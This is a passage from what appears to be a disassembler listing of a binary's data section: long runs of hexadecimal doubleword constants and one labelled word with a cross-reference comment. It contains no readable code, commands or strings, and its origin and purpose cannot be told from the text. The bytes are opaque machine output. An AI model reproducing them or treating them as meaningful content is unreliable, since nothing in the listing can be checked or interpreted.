1D3592Dh, 0D195D86Ah, 82339184h, 0DA2478E9h, 70FAE0C3h dd 982A0720h, 0BC7FB780h, 90A4DFD9h, 59F6CD00h, 0F45B75E2h dd 4654B0F3h, 0CBC0026Eh, 31ED2C6Fh, 0F8901797h, 492CACBh dd 8C27B3DCh, 0F334D023h, 0D93E9971h, 0C78B1CBEh, 391FDD57h dd 64087897h, 0CCB78311h, 0F7A8BCA9h, 0E83D2482h, 1008DC6Eh dd 8800E777h, 63AFFB70h, 2B3A9CC3h, 20A7009Bh, 2AD6CBABh dd 2FC73C83h, 0FEE92300h, 0F6E89FC4h, 0EB00CF74h, 0A6FF6E25h dd 74AABD2Fh, 17C70CBh, 80C3C798h, 0C02EA704h, 14006368h dd 15A60E07h, 18E2A867h, 1011108Ah, 54008C5Fh, 0A7352F89h dd 18E388B7h, 904BB028h, 71097507h, 0C0BADCh, 0DFBFD31Ch dd 0E0A76173h, 2D666B2Dh, 0E00072F4h, 0D99CA1A5h, 0E25810E9h dd 67310065h, 52B63B81h, 0DB0203F9h, 166C241Ah, 0DD94406Fh dd 117A0D40h, 48D232h, 0D69069A4h, 632E7103h, 958DB4B3h dd 0C38AA840h, 114AA1Ch, 5AB87D23h, 0D8FA4086h, 47033207h dd 37103C09h, 69E49829h, 1F80DDEBh, 0EDBC807Eh, 837AC028h dd 0C8088828h, 0D51C7CFAh, 6AC49325h, 3CCDE80Fh, 245D5AC0h dd 0A2FB8Fh, 64326AB7h, 230309DFh, 0D52BF38Ch, 0FF97C303h dd 5A4F190h, 5CE100A8h, 0BC929AAh, 221641C5h, 8C037269h dd 14A92FDCh, 34B2B7C9h, 0B8B97Dh, 39252F97h, 0C50FD4CBh dd 0D2CCC0E2h, 0A4EBAC0Fh, 9490F963h, 0E0E6791h, 9E691FE6h dd 0D9F66C60h, 0A200C6A9h, 6A06FC89h, 0E9AD54h, 3D0D0AD0h dd 61D3358Bh, 23BD3B00h, 0F5BCC3A5h, 0FCC501A6h, 0EF39F9D5h dd 18C6F31Bh, 0F784E601h, 0FD32D1CDh, 2500205Bh, 0EF3CF794h dd 0C83AFC04h, 880077BFh, 143AC4BEh, 1FD3477h, 3BFFE3D3h dd 0C8DD3038h, 0AF0739FBh, 99C902E5h, 1CBFC862h, 0D6803362h dd 4314286Ah, 2DC0E92Ch, 7600AD14h, 0FD3A55BEh, 7F93E0Bh dd 0FCF49288h, 20561140h, 2717DCCAh, 34BE8E2Ah, 80FF08CAh dd 0DC3A2888h, 1C0A087h, 215896h, 416B4BDCh, 0E51CC7E1h dd 0BFCA1D00h, 5796D64Dh, 181B042h, 7EBDF376h, 0C050E655h dd 7200B82Bh, 22E8AF0h, 6D9D897h, 5276E106h, 5C4229E0h dd 11B4D711h, 6E21D8A4h, 2AFE7804h, 48B5B004h, 0B3F14240h dd 6D212424h, 108C12A3h, 4088B473h, 0BB79CA01h, 8F681028h dd 4C30515Bh, 72BFA629h, 50AD900h, 13DAE364h, 0EDF8ABh dd 0E64CD4A8h, 9B42D6AAh, 0A00F0200h, 0CCC83041h, 0E336002Eh dd 0F1907F8Ah, 923D8D67h, 985C8007h, 78B3CA84h, 88CE036Ah dd 7F65CF99h, 72F3C9A8h, 9C924E00h, 7D58F14Ch, 0BA5F03ECh dd 0D56FC346h, 57FD2CE8h, 7A1C5000h, 0ACAB7635h, 3C3C7449h dd 96BC91A4h, 1475C480h, 5D0292EFh, 0D5E7B600h, 6B6DDEECh dd 7E4B0767h, 84635623h, 26A8C349h, 97B4DD8h, 59A3F700h dd 150C912Ah, 0EB97AC0h, 43E9D47Dh, 8C50B200h, 100024EEh dd 0CC3A5B73h, 5C677802h, 66009588h, 94E9986Ch, 5000B074h dd 0B546BD37h, 0D259A1h, 0ADE57335h, 0D32F36C6h, 1F400B00h dd 10A75DDCh, 74B400F0h, 0B78A8F18h, 0D500BAB0h, 908B76FEh dd 45DF40h, 6926F79Ch, 38A1D019h, 0B74F6200h, 23D2FB5Ah dd 0AA8C1811h, 42F6782Bh, 0C6FC7F00h, 7CC4B4D1h, 617FACh dd 0D8B3D710h, 0ABDACF22h, 0AE3A7100h, 5D46B1FCh, 0B0300F2h dd 0C3BC298Eh, 687F19EAh, 1B59A200h, 0F7369F7Ch, 68A7998h dd 0C12B281Ah, 6300C0EBh, 61DC457h, 38DFD67Fh, 0CA006427h dd 9EBD0A41h, 0B473F48Eh, 60549C03h, 0E0CE817Fh, 4F6310h dd 509755EFh, 0B1475F3Eh, 45F43Ch, 0D18CB61Ah, 6D23B90h dd 6329AABh, 0E901D027h, 51385BF5h, 808A9E2Bh, 44A09CDFh dd 0D7288017h, 180001DEh, 0D4AE5CBDh, 98C625E1h, 0BE4A0069h dd 35EA96C2h, 0C500DDC9h, 99D76A9Ch, 533DACh, 4072F7A5h dd 929A6104h, 0C2672900h, 90AF967Ah, 6FFA005Eh, 37AC2C9Ch dd 7CE02B55h, 8F6B0438h, 40B146D1h, 0A6C3ADA8h, 37B03A50h dd 0E1D212h, 7C835C44h, 0D500C859h, 0BC2418AFh, 1CDE530Dh dd 3AE7613h, 3AD8C5D9h, 0C486B180h, 0F8E72900h, 7B57DD9Dh dd 43980054h, 34B0E433h, 86136953h, 25FC0E71h, 0A18E373Dh dd 3AC5DF41h, 668C0058h dd 24CB29ACh, 9A00F9ECh, 902FD535h, 558886h, 696C95FFh dd 0A81D440Bh, 0B8C5B01Eh, 0E7D2B240h, 1CAEC4FDh, 8068B103h dd 7D4DB710h, 9000700Bh, 50182859h, 0B8EE5Ah, 466ABF8Bh dd 0C7112258h, 3A9F2E00h, 0EB94ED8Dh, 197100B8h, 629389F0h dd 51003365h, 69F71C14h, 245B682Ch, 12CC248Ch, 5CEE00C9h dd 0D1C7B6E9h, 0CE13FA00h, 0B20115C0h, 3CB80025h, 0A3C807E4h dd 6E00177Dh, 4EED23DFh, 330AEE59h, 0CC38B427h, 0B8FB8988h dd 809049C0h, 48413985h, 0B200BCD9h, 51CC932Bh, 281EE4B8h dd 6D4268B3h, 4344F221h, 631CD890h, 308C4980h, 0FF249A03h dd 5000C010h, 0F6DE1EB2h, 7ED29Ch, 8D92F132h, 1744E45Ah dd 2C439D24h, 9226307h, 0CD68E741h, 0ED4E420h, 0D75DDE5Ch dd 366A10B8h, 234AC49h, 9171CD3Eh, 15B06063h, 26CB00A5h dd 4D460F21h, 0EC9014F7h, 90FC1800h, 36577C08h, 55F5131Eh dd 581D0Ah, 0E7B0BBAh, 530E562Eh, 40344AD9h, 154CB6A9h dd 3DFC7C71h, 0A7803F28h, 0EEF5D63Eh, 0E6B8DCF7h, 75E8073Eh dd 87C8FE07h, 64C3F25h, 0B286017Bh, 95638273h, 17F9F0B1h dd 58E02A00h, 0A3C9CD79h, 8D880535h, 80D08F27h, 73927F04h dd 0A1E26D01h, 0CFA662BAh, 29A5C8D7h, 0A85651FFh, 9B5A8ECh dd 0C5987901h, 926E80FDh, 1351E3Dh, 311D347Eh, 0D074486Ah dd 263B8CADh, 0F40EFB27h, 7111957h, 4FB01A34h, 265F839Fh dd 1FE1650h, 0FC5C9459h, 24C2627h, 51F5A1Eh, 7BCC8332h dd 1AAF88CAh, 149887h, 0CC08D355h, 0B932504Dh, 1F1EE400h dd 0EA4BDE66h, 0E6AF008Bh, 6A0885B2h, 62007999h, 0FAD5A395h dd 5CCCBFh, 0B239C84Fh, 50868294h, 0D190F03h, 0F8B6E088h dd 0F2DC6B52h, 55242663h, 87940070h, 0C072174h, 0F8166901h dd 0DF3A520Bh, 667D30h, 0D2BAC47Fh, 60EA15EFh, 0E1E51F00h dd 9A800A95h, 0D0FB1EC1h, 8134AC8Dh, 332974BCh, 9E7CE8F6h dd 0EC841300h, 4243BF06h, 237218h, 803852CBh, 944B91A8h dd 0CDE8880Eh, 3FEF00FBh, 0EB19F1h, 0D06E935Dh, 5A998E12h dd 0EC202726h, 19C9C800h, 6FC039h, 3EEEFB26h, 8E2594A2h dd 4EDA8500h, 0B1775F60h, 66C20063h, 0EAA3E1DDh, 2300CA8Dh dd 5C0DFC1h, 0AB7C0Dh, 0B69DC7E7h, 12B1326Ch, 7C561E2Ch dd 2277F240h, 0D7490EBBh, 0AF2B1CEDh, 0E60180Ah, 37C06C86h dd 0F226FCCBh, 84006C90h, 47A12EFh, 0F524B1h, 0E86FA9E2h dd 0B70AA03Ch, 3B799E00h, 81AFC8C0h, 0F8BD0303h, 141BF3BFh dd 8D0B4688h, 316B910Fh, 0DC662064h, 0A1477Ah, 93FD6348h dd 0D2D5053Dh, 235A6803h, 88820D9Dh, 0B0407h, 0CA4E7E17h dd 0A5E94B4Fh, 3A574400h, 3E4AE25Bh, 74990097h, 5430369Bh dd 41144225h, 0B1CAE3h, 4D570701h, 9C718F0h, 25C909FFh dd 0E5AB0B07h, 0B6FAC0BAh, 5A00550Ah, 0D06E94Fh, 2F31FCEh dd 5DAC65DDh, 0CC80213Bh, 4C3DCCB4h, 0A2E43Dh, 1F6D029Eh dd 12C21130h, 1CE2FF1Bh, 74CD8108h, 0E05132BFh, 0FF9045B9h dd 5467C72Eh, 0D0F90760h, 6B1A2891h, 0EAE600CCh, 0A15FFAE4h dd 0D3001849h, 3192242Fh, 160577ACh, 3D514Bh, 0CC65B452h dd 2C0064DAh, 4F3685Bh, 41E18Bh, 2A6FE1Eh, 0CC13461Fh dd 0AD1CDCFCh, 0F4008A8Eh, 72E05338h, 32531E6h, 0ECD44CD1h dd 30A0FC6Bh, 0CA00B612h, 19B0EA66h, 4C93949Bh, 0D6000520h dd 0D035A95Ah, 0EF00CDADh, 0F47FA43Ch, 4ACD14Eh, 0E5F9114Fh dd 2E349372h, 44684ADh, 114668h, 0D86048FAh, 0E2DC03AAh dd 45B507CEh, 534650B7h, 0BB166C39h, 7840BA2Ch, 9C2FDB78h dd 0B7201613h, 0B03A0085h, 0FDA7ADC8h, 517A6913h, 1BB8E400h dd 4E386Ah, 0F1C11015h, 3DDFA994h, 0CFF8661Dh, 0D713C717h dd 6EA0000h, 9160D44h, 40B3527Ch, 0FF775083h, 0CA013188h dd 0C6ED2617h, 9B32040h, 6A3217h, 0ECDED370h, 0EECDD49Ah dd 8FCF7D01h, 0A8B0E393h, 0EE148720h, 0FCE10022h, 0B121950Dh dd 8E13FD7Bh, 0C01F543Eh, 9F75E880h, 3882D839h, 528089AFh dd 4174DEFCh, 7000DCF3h, 7140072Dh, 19CF6Ch, 0B65D08E8h dd 0B253D91Bh, 5FCC750h, 1F436002h, 816E570Eh, 0BC1C5494h dd 1CEEC7DCh, 165D61Bh, 2C9B38CAh, 0F801E308h, 100D07E7h dd 1083D95Dh, 0C671776Bh, 2C686FD8h, 4207B672h, 3536FB65h dd 0D0ACD643h, 0DE5F8Ch, 46ED3E99h, 0C9A38A4Ah, 9A9BCE05h dd 9800674Ch, 0F4FFBF05h, 0A6690F7Bh, 4E81714Dh, 30CD86C5h dd 0A3146188h, 0B40209h, 41D6C65Fh, 60F2B6C3h, 78C864Fh dd 49003F29h, 8DB79004h, 1EBEC78Eh, 80BC18C9h, 0A2A496D8h dd 83010F59h, 70C1FE05h, 89D97F3Ah, 0D5DAE4h, 0D873B3DCh dd 9FA3EDB7h, 20E5B8A1h, 0B81262A8h, 14004EFEh, 88A53FC1h dd 0AD71005Ch, 0CDF79228h, 4C078373h, 0A80F38EFh, 1322B031h dd 0C5F4F061h, 60819097h, 49B21012h, 0FA0F6419h, 0C0179F25h dd 3E5BABD0h, 90D9F75Ah, 0B86C1EC4h, 4CF80460h, 928C21C7h dd 2361BB3Ch, 793FC496h, 0ECC4A72Ch, 9920D346h, 34504ECh dd 426C9051h, 9000439h, 0AE0CE354h, 2E6FEF3Fh, 0ECFB8Dh dd 0C3C9ABA5h, 0D2003D62h, 6BEA5716h, 0EB0E0Ah, 41219907h dd 0D7B5D1D3h, 4D186300h, 6202A13h, 5BC528DCh, 0D84B03C8h dd 0BB79E8F0h, 962F80D7h, 0D61F5EB8h, 0EC008757h, 0A074D39Dh dd 0CE480261h, 0BDAECBAFh, 0A98E80C8h, 0D0A4232Ch, 2F18A801h dd 0FBFBFC94h, 0D54DAB98h, 0E264A0C3h, 83ACE087h, 721A25FBh dd 0E0E7F007h, 30BCC6EAh, 7B505A26h, 0C201C824h, 569C703Dh dd 7CA47CCh, 87B3117Bh, 6679905Eh, 0EEB0C272h, 6B8354Dh dd 84B21B07h, 32690021h, 708E3729h, 0ED0071DCh, 5A3328E9h dd 0F8552Eh, 7593181Ah, 7B16D7C2h, 9E0064E0h, 0D18892A4h dd 0D8A2A7h, 0D0B8767Eh, 0B7C3FBB1h, 7F5688A0h, 0BDB51A02h dd 0E047FFBEh, 1CF1C4FEh, 91F4B65h, 280F4FB6h, 7B058140h dd 0D1ECEA4Eh, 9C742101h, 2E3FC39Bh, 0F8182C30h, 0E6DA00B8h dd 0C59F2095h, 590B437Ch, 20C3C837h, 7E19D9E0h, 0EECC0150h dd 53584BC5h, 3F02C91h, 5D0B89C3h, 0DD2E8869h, 7F010436h dd 906D78A7h, 58127D1Ch, 0DAA26E00h, 0CE90C4B7h, 0D1EC0041h dd 430FD709h, 7ADF842Fh, 925C3EC3h, 0B810FB70h, 8D2DE6h dd 9ED1B5A3h, 59337AFEh, 2609C677h, 0D681BDh, 5B5AD242h dd 0A54E121Fh, 237C0FBEh, 0BB1F6F28h, 2FABF180h, 0CC00710h dd 1D06F51Ch, 21F07798h, 0DDA91100h, 80C7B40Ch, 0CEF00319h dd 0E8E3EAFDh, 70246DD1h, 0A7008AE0h, 9A4A6030h, 145D437h dd 0DBDABA6Ch, 0D827833Ah, 81197794h, 0F42050C5h, 7000F745h dd 0E1446393h, 3D0F854h, 2221CD1Fh, 0A07B6219h, 0B529DA00h dd 6F57306Eh, 64700BFh, 2344B88Dh, 9F0098A8h, 53787965h dd 105C4AAh, 0D3E0CD10h, 0D4B17CECh, 9A00A306h, 3D1B5662h dd 0FCCA530h, 2634B3CBh, 2A988760h, 240E6B38h, 0A0107543h dd 0D39BF20Ch, 0C790A3h, 0BA6A7DE7h, 9293C2CAh, 0DB2F4800h dd 0A6F59101h, 11F080h, 319A628Eh, 200C36CFh, 0C6941807h dd 5E609B47h, 0E9A63Ah, 0D48E2D43h, 0AA6AABC7h, 0B85FF324h dd 0BACF5C00h, 0A9B8CEh, 7E48AD08h, 834C5B87h, 3F05B700h dd 0E8F790DFh, 8A2000D3h, 4532D68Bh, 0FA099EABh, 8005BE2Fh dd 75FB2869h, 0EFB08Ah, 710863A2h, 0AA0AF4D5h, 0D1060E0Ch dd 24985094h, 138D1F80h dd 0E6BC059Dh, 0A504802Ch, 1C00795Dh, 2EAE42B2h, 0D20903h dd 0E6ED16A1h, 28AAC88Bh, 2379627Fh, 66533000h, 822F457Dh dd 2DDA1231h, 8A40809Bh, 595091C2h, 3091D1CFh, 0AE7C5500h dd 2CB026E7h, 876C67D3h, 63799386h, 0B1001E70h, 0B2E08817h dd 7A6BA4C3h, 4E0307F0h, 578DE4h, 29B61E52h, 0DA3E9B0Ch dd 0B3DC0ECh, 0ADC2FCEEh, 0FCB5B849h, 45078096h, 6E0BD953h dd 0E150B6C7h, 1609382h, 6F292DADh, 0E4A3DC38h, 220056B2h dd 6D6CCF9h, 21A1BA1h, 0DC965BD4h, 0E058418Ah, 0B9DE6D1Ch dd 0EEDD5540h, 489CF004h, 66045CDCh, 0D04B5190h, 0EC954900h dd 0F753A900h, 0DEF1830Dh, 8E6003A3h, 0DA5833FDh, 6BF32780h dd 247D000h, 0A4AB309Eh, 0C7400A8h, 0EBB6E653h, 0DB0F0E06h dd 0E0BE0F66h, 0DE8C187Bh, 26C90032h, 0E775743Dh, 0F5A0DC1Eh dd 3F705789h, 41652F00h, 0D6E1FE2Eh, 26ECB012h, 15C8F1Dh dd 228EEACh, 0E421E427h, 0BD1A903h, 80A38061h, 0B0CD43h dd 0E9BD24EBh, 0B1325976h, 985E5202h, 405810A7h, 2FB4090h dd 0F4696C91h, 21410DA5h, 0C0B8CB5Ah, 8A009227h, 0E534F1DAh dd 11CB10Bh, 38DF712Ah, 0F0DD3C30h, 0C1208A6h, 0A805848Ch dd 30C72566h, 3679E7D0h, 0D7DE0011h, 0FE761F0Bh, 0B500A033h dd 7CCDB307h, 79B4CAh, 66341BB8h, 2D4A16E4h, 83E11F00h dd 0DD888233h, 95D008Dh, 3A3BAF3Dh, 73000D02h, 8C408BF0h dd 0F53DE91h, 87634497h, 0B0A08164h, 0AF00EF74h, 0FB11D007h dd 394C9E23h, 46005D06h, 0F9B79C2Fh, 4F09A6E8h, 481242BFh dd 733DF658h, 0DC5C0296h, 9950CCA7h, 8E048478h, 8DA33184h dd 6D14A4h, 0E06E0836h, 4440D9BDh, 2BE47105h, 1CA0B045h dd 7A6B00B4h, 147DE2BFh, 8007B6FBh, 2304D412h, 43BDCFA2h dd 0C86181A8h, 6C9EC300h, 0E5BF200Eh, 0E79D00CCh, 2DA91C41h dd 3081C5B0h, 0E090F342h, 6F184CF4h, 9F98FD94h, 0A42200ABh dd 0D70B2AB4h, 0A939AEB3h, 0C8CF829Bh, 60681ED1h, 187F764h dd 4A355EB1h, 0F4E8DEE1h, 3600A7FEh, 0B9077D03h, 79A13Fh dd 4D96442Ah, 4A2E31D6h, 507AA700h, 925A1CA5h, 10651ED9h dd 9989005Ch, 0F0383274h, 0AE98D302h, 0DF08CD87h, 0EB686980h dd 5F001451h, 0F383D1B9h, 0C10C5788h, 316DDE19h, 0C764340Bh dd 0C678D118h, 2402759h, 0B2E97999h, 710084CDh, 3DAFE60Eh dd 7FEE76h, 4CB07412h, 0A9EDC93Bh, 0A6454B00h, 75483FB7h dd 5AC10083h, 3126DC88h, 0E4A871DBh, 3B4C9B19h, 184639E4h dd 3A701108h, 0B5300006h, 32B24102h, 4602DA0Eh, 0DE81E65Dh dd 0F7F0C985h, 15B55F4h, 9E4F25F4h, 0DCE61F45h, 0E007811h dd 0B253D818h, 4CC7FABAh, 7413A3A3h, 0F6FCC0F1h, 533A1B3Fh dd 0F03B248Fh, 0F5149E01h, 60E02177h, 0E3202EA4h, 531F8184h dd 206C2273h, 10C19FE6h, 0F6B523D3h, 118C3E8h, 903F9D60h dd 0CDDE129Eh, 0E0ED21F7h, 6A00EF43h, 176546E4h, 17DA4C6h dd 0CC4EBC73h, 86FFFB20h, 0A12C1F78h, 1BABF099h, 0A0EC2F0Fh dd 52DF6EE8h, 2B6F590Ah, 24000827h, 2A1B12DEh, 3BFF00E2h dd 4A22E809h, 420F235Dh, 0C03564E6h, 744FDEB8h, 19FE00A0h dd 348A7CDCh, 0DD00219Bh, 0CEBF2922h, 282D75h, 5DE230E6h dd 0F7B1D570h, 310A842Eh, 1E04B302h, 0BE096067h, 0EE490094h dd 29124022h, 0C977ED6Ah, 48FF8A07h, 0D4F0F254h, 2567EBDh dd 243667F8h, 98E2E9F1h, 5CBBC240h, 6800597Ah, 0E40F1FEAh dd 895D48h, 1EA82DE8h, 0E99690F0h, 73FE6100h, 0D0524121h dd 395F0002h, 5BA27DB5h, 490085C8h, 159F2987h, 1E6FF641h dd 0C7E75AB3h, 35F2F7ABh, 9EA44AA0h, 747504h, 0B790D4EAh dd 59C6557Eh, 8638F607h, 0D0C3F702h, 0BC1803CBh, 893F96B1h dd 1FBF26E0h, 4BF8AEE0h, 5CF25301h, 76631A18h, 2CEBD570h dd 0BE59E17h, 2C03EA3Ch, 0D5ECC356h, 20C28558h, 0B1B82684h dd 70223630h, 0C6492B71h, 0A1D3E699h, 2EBE591Ch, 0CEAF2880h dd 0CEBAC2Ah, 7F86FFD4h, 462069B0h, 0EE11432h, 0F8001CE7h dd 762A2721h, 4607A434h, 11ECEF6Dh, 7CD4F4A1h, 0C71ED983h dd 40182CF6h, 0B0993C97h, 0A756189Bh, 0AC67F844h, 0A1882E50h dd 53801418h, 163C7811h, 11F87C54h, 0DC00A0E6h, 1F79B5DBh dd 2609D609h, 894DC58Ah, 6188016Ch, 9FD95D3Bh, 10BF8DCh dd 35C5415Eh, 8FEEECFAh, 0E05D7FB9h, 0AA5B24D6h, 823C0057h dd 92F40CDBh, 1B012B66h, 0D08A432Eh, 589E8C65h, 38D8C0A0h dd 57694656h, 0A872E200h, 0B559632Dh, 9AA288DEh, 5312DF02h dd 8128F4E2h, 0DBF0F6D8h, 0D9392083h, 23A02C19h, 0F101B7F7h dd 64FA09B1h, 7EC4E91Dh, 2BF02EBh, 5753929Eh, 707BFEC1h dd 0FA01FF40h, 295B4E7Ah, 0A0406788h, 74DC243h, 0C5218DD5h dd 1DC05076h, 0DA096AECh, 82DC3C68h, 0A035EADDh, 81BC64DCh dd 102F61B2h, 2425F77Ah, 4300F804h, 0AACCB05Ah, 1E88589h dd 0F28D1D35h, 0FC3C9B20h, 0F735A480h, 0D80314Ch, 18FA6AFFh dd 581F2DEDh, 7C80FED2h, 0C9E0E48h, 12A1357Ah, 0C80EC6ECh dd 9F002C85h, 0B97C15F4h, 0DF3EF89h, 3813761Dh, 0E443C118h dd 0D9307170h, 59BC691Eh, 58FF631Ah, 0F5C875B2h, 0C80A84A5h dd 60D870D0h, 0C0EAE60Ah, 35006EA8h, 0B5E55E5Ah, 0F84A75Ch dd 97B2A679h, 5218E9C0h, 0DEFB8610h, 0AC90D7C3h, 134805BAh dd 0E387000Eh, 0F79F3B0Ch, 3DC926Eh, 956BF70h, 0DC829E1h dd 930012C9h, 51190C75h, 79EE70BDh, 614EEA8h, 0CCE22E04h dd 50F0184Eh, 6DB3BE00h, 9F6EEF63h, 0F11C0F03h, 608388C0h dd 0D0B10834h, 7792E0C1h, 0FFEFC01h, 0B9518E86h, 0D3D015F1h dd 0A6F5076Ah, 0C09B6E2Eh, 300F53BEh, 3E5850DDh, 438E68h dd 0BB4BD437h, 0A26DEB9h, 55A88C01h, 0DCB80751h, 0C79B1880h dd 48846031h, 0E36BEA01h, 0A41611BCh, 0E037FCE0h, 0E028C2E9h dd 0F0403114h, 0A618EBF8h, 7F189420h, 195EFA09h, 7937E16Eh dd 44E51h, 0A4FF8C49h, 0F1A8874h, 1CBBD2B5h, 6080468Fh dd 2A47319Ch, 71329D00h, 0DA7BB2C0h, 0EF4E00E2h, 0D97ECAF4h dd 0A600F806h, 0C2FB884Dh, 0C1490BFh, 4B08EB51h, 9701AE69h dd 0B2F3930Bh, 65C8621Bh, 0C0B1E819h, 89F7C21h, 0A2075B33h dd 0EB5AE9CDh, 32018F50h, 0BDB10191h, 563AA824h, 89B0CC3Fh dd 8EAC5C50h, 0E1B57402h, 8C22F404h, 11CD090h, 0B1A09FBFh dd 82BBB758h, 7C3808E8h, 0FB0A0DDh, 80E1048Fh, 0F6068D68h dd 0E4F521CFh, 1A700220h, 5691ED52h, 4023209Ch, 0BFAC0007h dd 638AA6E0h, 5B9ECFA0h, 0E6D52600h, 3F6606A7h, 0B908CCA4h dd 53007E21h, 98C1DE26h, 70F72C55h, 91AD0F48h, 0FE009434h dd 85D5E94Ah, 0BE306760h, 24D403h, 0C275EB60h, 0C7A5E28Ah dd 21C0FCE8h, 15241BA9h, 7F070092h, 0E85CD8B8h, 640036E6h dd 2A671006h, 3904A63h, 62E7240Fh, 59D8EDE5h, 0E3CBBC7h dd 634860C9h, 1FCD209h, 6AA27058h, 8CA79867h, 20BA0E08h dd 0FCEB00A9h, 991EADB6h, 78FED9B4h, 0BD6B1110h, 0D2B2E907h dd 78ACD636h, 19624130h, 68915D9h, 0E750D48Dh, 5A3771EBh dd 6187212Ch, 0E0A41D3h, 6744611h, 0CB532640h, 8B01CA6Dh dd 8E11A5B0h, 99BADE5Dh, 9E08BB07h, 74AC1F3h, 5AEBD0E6h dd 0C879D8C4h, 41FCD730h, 69DA7010h, 0A28017C8h, 0CB14FCD0h dd 251100BBh, 0E408C2EFh, 454C2B53h, 69502403h, 0AF79EB00h dd 7F9D648Eh, 0C31F043h dd 674158BEh, 610F9BB9h, 4ADECA35h, 9933C204h, 0A0210197h dd 0A8B53579h, 49F0483Dh, 9B7A0590h, 566EE02h, 46831F61h dd 265D0728h, 0E857E6DBh, 7C40B664h, 0D4B2655h, 46961500h dd 4CF42051h, 0E94D128Ah, 0CF2460D0h, 0EB235D24h, 0EA1B086Dh dd 0B600A816h, 0A676D869h, 88EB0C6Ch, 3F8B86Ah, 97939A01h dd 67530E27h, 0B24EC4h, 3C8E2CCBh, 78A36D1h, 0B3B7E0Ah dd 0F08C0AEh, 0FCD560C9h, 4A21705Bh, 0C916Ah, 0ACFCE6D8h dd 8E59D3h, 629DC6B6h, 8F72CC47h, 64D91315h, 3B3CA0h, 0F54EC16Fh dd 38705623h, 0C781E5F9h, 0CAA0B4Dh, 72DEEC5Eh, 23016AE0h dd 949D7565h, 0C880BCA2h, 9EE407D6h, 0EC39DE77h, 70028EE9h dd 4967C708h, 63DFF200h, 52750199h, 2FC360EAh, 0C8F44E54h dd 0F9E0C090h, 4730D70Fh, 924F1965h, 0A040782h, 84E47BE5h dd 6ADE00BDh, 7BD82509h, 95290167h, 8682E6E7h, 7BB6E40Ch dd 40DC145Ch, 876474A8h, 75605490h, 0DE23CE35h, 1E951161h dd 1F830DA4h, 0E5C83D8Ch, 0A133CC40h, 5BDB2Fh, 22F131CFh dd 2B40D790h, 67BEE414h, 0CB7D1DA0h, 4CD331F0h, 695AF209h dd 2009B9E5h, 15BC1385h, 530028DAh, 505EDBC9h, 0AF03A81Fh dd 76D6D15Dh, 49E8379Dh, 11861298h, 20A13C49h, 781E0932h dd 15C0563Bh, 34A7E7B5h, 2403E2D3h, 0C388C861h, 0E781265Ah dd 7F000E4Fh, 0E7232652h, 0A91843E0h, 98691387h, 3E71006Fh dd 40D48AE6h, 4A3D47ACh, 0F7F1ACB5h, 0C9303904h, 208E5CC4h dd 51C00C88h, 0F59692h, 0F6DD073Dh, 4D839799h, 33B699C0h dd 0D44723h, 0D910F0E8h, 88D14BAh, 0F60B9102h, 40D39D51h dd 98E1B282h, 443491D0h, 35776052h, 11DE1020h, 8F93C805h dd 0D6400EF6h, 2A878D71h, 0C1F1018h, 5C996059h, 2842534Ch dd 0D135760Ah, 6468A9D0h, 312080FBh, 103CDA51h, 0AC9A926Dh dd 61041002h, 3ED0B0D4h, 0E6DC1126h, 80B888EFh, 782656ABh dd 0CA09BF9Dh, 7057D97Dh, 438A9A9h, 0B7C8F84Bh, 0BE1C38C0h dd 0CBD8023Dh, 4E68348Ch, 0AC86F842h, 1000F9E7h, 7A15BA37h dd 0C9ADF3Eh, 8ABD6429h, 3D00D428h, 0E4D79DC2h, 9069D036h dd 0ECCA5A04h, 88C6095Eh, 0E668005Fh, 30A51173h, 4A816483h dd 237C01B3h, 15BF0700h, 0D3D7420Eh, 5FC9240Bh, 80B09D20h dd 1E786C0Ah, 4B037C76h, 56A09555h, 8F05A815h, 43F8DCh dd 6669F798h, 4B1A54C0h, 0E0EBE926h, 7624D2C1h, 0C5B442EAh dd 1AA38004h, 9D49024h, 5698220Eh, 0E6438340h, 0EA05FC84h dd 249F0075h, 9C7EE765h, 0C018AD68h, 0C4DE9E04h, 0FB4233Bh dd 4C20DC18h, 41B8C988h, 1C9949h, 20A7A54Eh, 0B62D37h dd 76D25060h, 214BD5C0h, 1E122B2Ch, 18521817h, 26D2A802h dd 46544C60h, 35740155h, 519DED7h, 0CA91E0Bh, 58E4E887h dd 76956CF7h, 0B86C8B11h, 8E33ABAh, 0C93D6DBEh, 51A07218h dd 0D52ECE3Eh, 5464A825h, 30C8FB04h, 213FFD01h, 0A4C52A70h dd 0B4D0B8C7h, 17A30C3h, 0B269E016h, 224C0A88h, 26772260h dd 0B6784Bh, 9E7D1F8Fh, 0D70052DFh, 0C7B5E360h, 246E4A0Ch dd 5EC803D0h, 0FF03B946h, 2B3C59C3h, 7898CBFFh, 224E88Ah dd 2F81A069h, 0C6D2BEB8h, 11F29032h, 158EC30h, 0E2B1647Ch dd 45149F1Ah, 60B487A4h, 60EDF756h, 52BD3920h, 0BAF2FC31h dd 0E19130h, 0C7FA4954h, 78797372h, 0B6021401h, 61265E58h dd 0A001F822h, 509D1F06h, 7865D01Eh, 95151600h, 0E66C6A67h dd 5BAB063h, 2C18BBC0h, 0CA10C205h, 0DD1CE844h, 0B240419Fh dd 338DF057h, 0A78F00C5h, 0B93196CBh, 0E7522DA3h, 14CA189Ch dd 7566A9h, 4206D6FDh, 0E0C780EEh, 67D53Ch, 0CEF8F422h db 47h, 17h word_505446 dw 1CC2h ; DATA XREF: ___:off_436CE0o dd 0E8FF1107h, 0B8C15390h, 0CBB5BB1h, 46110233h, 65B4E6E4h dd 5C8B040h, 1C983CB8h, 5D736A1Ah, 48844CA0h, 192394A0h dd 46681C25h, 0C0D900B7h, 0A99556B6h, 0BCDE1D48h, 67FE4007h dd 365A4366h, 1F0828A0h, 7D2CA00h, 5B2DBE2Eh, 9E0B8E3h dd 0E15C42ACh, 60D66004h, 2CFE263Ch, 70003FE6h, 2600547Dh dd 7A5D9EA1h, 10EB4031h, 2952F6D8h, 4D84E0B8h, 0A8D8E6E9h dd 73241D1Dh, 160823EBh, 0C5A201EAh, 36382124h, 303BE290h dd 430C441Ah, 19E6A8C9h, 0CE5800BEh, 3CCD3DD6h, 57251ADDh dd 0D20084EAh, 0DA264060h, 11DFE623h, 802937A2h, 7E5B53C1h dd 0F79D56E4h, 78A630B8h, 296984ACh, 4809C5Ch, 2B70149Bh dd 94572454h, 0C0D40124h, 0EC4CFC3Ah, 29C04FB0h, 6AED0928h dd 0B1FB0EDBh, 438041A5h, 60FDFA97h, 0B43F0200h, 0E5C07A05h dd 0D144B93Dh, 6E18BAh, 19C2C302h, 92758747h, 0C63F840Ah dd 0E2C7F8CDh, 1C2BEDF1h, 0C82311E9h, 